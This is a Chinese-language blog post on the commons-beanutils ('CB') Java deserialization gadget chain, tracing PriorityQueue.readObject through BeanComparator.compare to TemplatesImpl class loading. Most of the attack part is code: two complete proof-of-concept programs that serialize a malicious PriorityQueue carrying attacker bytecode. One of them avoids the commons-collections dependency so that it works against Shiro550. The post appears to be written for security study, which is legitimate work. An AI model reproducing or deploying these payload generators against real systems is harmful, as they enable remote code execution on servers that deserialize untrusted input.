CB链


CB链

参考文章:Java反序列化CB链 | root@wanth3f1agJAVA反序列化——CB链 - Infernity’s Blog

依赖:jdk:jdk8u65,CB:commons-beanutils 1.8.3

在pom.xml里添加

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<dependency>
      <groupId>commons-beanutils</groupId>
      <artifactId>commons-beanutils</artifactId>
      <version>1.8.3</version>
    </dependency>
    <dependency>
      <groupId>commons-logging</groupId>
      <artifactId>commons-logging</artifactId>
      <version>1.2</version>
    </dependency>

漏洞分析:

什么是 javabean:

CommonsBeanutils 是应用于 javabean 的工具,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法,JavaBean 是一种特殊的 Java 类,它遵循一定的命名约定和设计模式,目的是为了组件的可重用性、易用性和在不同环境(如可视化开发工具、框架)中的互操作性。可以把 JavaBean 想象成一个标准化的、自包含的软件组件,它能够通过简单的方式被其他组件或工具使用和操作。

其必须满足几个规则

1
2
3
1.必须有无参构造函数 (public 且无参数):框架(如 Spring、Tomcat、Commons-BeanUtils)在底层都是用反射机制 Class.newInstance() 来创建对象的,如果没有无参构造,框架就不知道怎么创建它
2.属性必须私有化 (private):原因: 保护数据,不让外部直接修改字段。
3.必须提供公开的 Getter 和 Setter 方法:外界只能通过 getXxx() 和 setXxx() 来读写数据。框架通过方法名(去掉 get/set 后首字母小写)来推断属性名。

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter方法,我们来看看该方法的定义

1
2
3
    public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
        return PropertyUtilsBean.getInstance().getProperty(bean, name);
    }

一个是JavaBean实例,一个是JavaBean的属性

1
2
3
4
5
Person person = new Person("Mike");
PropertyUtils.getProperty(person,"name");
# 等价于
Person person = new Person("Mike");
person.getName();

需要注意的是,PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, “b.c”); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter。

因此,如果getter方法存在可以rce的点可以利用的话,就存在安全问题了。

回顾一下之前的CC3,是通过利用TemplatesImpl类的方法去动态加载恶意类从而进行RCE

1
2
3
4
5
TemplatesImpl::newTransformer()->
    TemplatesImpl::getTransletInstance()->
        TemplatesImpl::defineTransletClasses()->
            TemplatesImpl::defineClass()->
                恶意类代码执行

再看看CC4的链子,,是通过TransformingComparator#compare()去触发transform方法的调用从而实现RCE的

1
2
3
4
5
6
7
8
9
PriorityQueue#readObject()
    PriorityQueue#heapify()
        PriorityQueue#siftDown()    
            PriorityQueue#siftDownUsingComparator()
                    TransformingComparator#compare()
    					ChainedTransformer#transform()
                        	InstantiateTransformer#transform()
                            	TemplatesImpl#newTransformer()
                                	defineClass()->newInstance()

而我们的Commons-beanutils利用链中的核心触发位置就是BeanComparator.compare() 函数,BeanComparator.compare() 函数内部会调用getProperty()方法,进而可以调用JavaBean中对应属性的getter方法

链子分析

BeanComparator.compare()

我们看一下BeanComparator.compare() 函数

image-20260114194408062

这里会调用PropertyUtils#getProperty()方法,简单分析一下

1
2
这个方法接收两个对象传入,如果 property 变量是 null则直接比较这两个对象,这时候会直接用comparator实例的compare方法对这两个对象进行比较
如果this.property不为空,则用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值。

在 ysoserial 中利用其来调用了 Temlatesimpl.getOutputProperties() 方法也就是Temlatesimpl类中的 _outputProperties 属性的 getter 方法,所以这里让 o1 为templates对象,然后property为TemplatesImpl的 _outputProperties 属性,即可调用 TemplatesImpl.getOutputProperties(), 往下就是TemplatesImpl的利用链。

来看一下BeanComparator的构造函数

image-20260114232925466

java编译器会根据参数数量和类型匹配相应的构造函数,比如处理这个property属性的值

1
BeanComparator comparator = new BeanComparator("outputProperties");

就是调用这个构造函数

1
2
3
    public BeanComparator(String property) {
        this(property, ComparableComparator.getInstance());
    }

在ysoserial中是利用的无参构造器实例化一个BeanComparator对象并用反射去进行操作变量的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public static void main(String[] args) throws Exception {
    BeanComparator comparator = new BeanComparator();
    setFieldValue(comparator, "property", "outputProperties");
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
    Class c = object.getClass();
    Field field = c.getDeclaredField(field_name);
    field.setAccessible(true);
    field.set(object, field_value);
}

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsBeanutils1.java

image-20260114195855002

然后就会调用到TemplatesImpl.getOutputProperties(),这个方法可以调用newTransformer()

image-20260114200445090

接下就说往上找了,哪里调用 compare()?

我们可以用到CC4中的PriorityQueue#readObject()方法,其实就是

1
2
3
4
PriorityQueue#readObject()
    PriorityQueue#heapify()
        PriorityQueue#siftDown()    
            PriorityQueue#siftDownUsingComparator()

前面的CC2/CC4链文章提到了,queue的size应该大于等于2,而add()也会执行compare,由于在BeanComparator的compare()方法中,如果 this.property 为空,则直接比较这两个对象。这里实际上就是对1、2进行排序。所以在初始化的时候,我们add任意值,然后利用反射修改成恶意TemplateImpl 对象,所以调用链以及poc如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
PriorityQueue#readObject()
    PriorityQueue#heapify()
        PriorityQueue#siftDown()    
            PriorityQueue#siftDownUsingComparator()
    
				BeanComparator#compare()
   					 PropertyUtils#getProperty()
    
    					TemplatesImpl#getOutputProperties()
    							TemplatesImpl#newTransformer()
                                    TemplatesImpl#getTransletInstance()
                                        TemplatesImpl#defineTransletClasses()
                                            TemplatesImpl#defineClass()

poc1(with CC依赖)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import java.io.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;


public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","a");

        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CB\\src\\main\\java\\org\\example\\test.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);

        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator();
        PriorityQueue priorityQueue = new PriorityQueue<Object>(2, comparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数,修改成恶意TemplateImpl 对象,queue 字段是数组类型,所以这里这里是数组,二就是readobject中有queue = new Object[size];由于size是2,若给queue只赋值一个template,后续fro循环会报错

        serialize(priorityQueue);
        unserialize("CC4.txt");
    }
    public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
        Class c = object.getClass();
        Field field = c.getDeclaredField(field_name);
        field.setAccessible(true);
        field.set(object, field_value);
    }
    //定义序列化操作
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC4.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

这个是需要CC依赖的,下面给不需要CC依赖的

poc2(without CC依赖)

换成Shiro550打上面的链子会出现报错,表示没找到org.apache.commons.collections.comparators.ComparableComparator类,从全类名可以看到整个类其实是来自CC依赖的,不过换句话来说,commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽 然包含了一部分commons-collections的类,但却不全。这也导致了我们在用上面的poc打Shiro550的时候会失败

image-20260114222849024

所以我们要尝试找不需要CC依赖的CB链,我们先看看为什么我们上面的poc会用到CC依赖,看看org.apache.commons.collections.comparators.ComparableComparator这个类在哪里使用了

image-20260114223138590

BeanComparator类的构造函数处,如果没有显式传入Comparator的情况下,就会默认使用ComparableComparator作为比较器。

既然是不需要ComparableComparator,那我们需要另外找一个类进行替代,该类需要满足以下条件:

1
2
实现java.util.Comparator接口和java.io.Serializable接口(要Comparator接口原因是定义了一个变量类型是 Comparator,那么只有实现了这个接口的类才能赋值给它。)
Java、shiro或commons-beanutils自带

对于commons-beanutils中,只有BeanComparator这一个类满足,我们查找一下JDK中的类。

存在很多很多,常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator

1
2
3
//下面这两个二选一都可以
setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, "comparator", Collections.reverseOrder());

CASE_INSENSITIVE_ORDER对象最后返回一个实例

image-20260114230024680

reverseOrder函数最后会返回一个ReverseComparator2实例

image-20260114225716224

我们只需要利用反射,将对应的comparator写入属性中,就不需要依赖CC库了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package org.example;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import java.io.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;


public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","a");

        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CB\\src\\main\\java\\org\\example\\test.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);

        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator();
        PriorityQueue priorityQueue = new PriorityQueue<Object>(2, comparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数,修改成恶意TemplateImpl 对象,queue 字段是数组类型,所以这里这里是数组
        setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
        serialize(priorityQueue);
        unserialize("CC4.txt");
    }
    public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
        Class c = object.getClass();
        Field field = c.getDeclaredField(field_name);
        field.setAccessible(true);
        field.set(object, field_value);
    }
    //定义序列化操作
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC4.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

当然还一种写法就是实例化BeanComparator传入

1
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
谢谢观看
使用 Hugo 构建
主题 StackJimmy 设计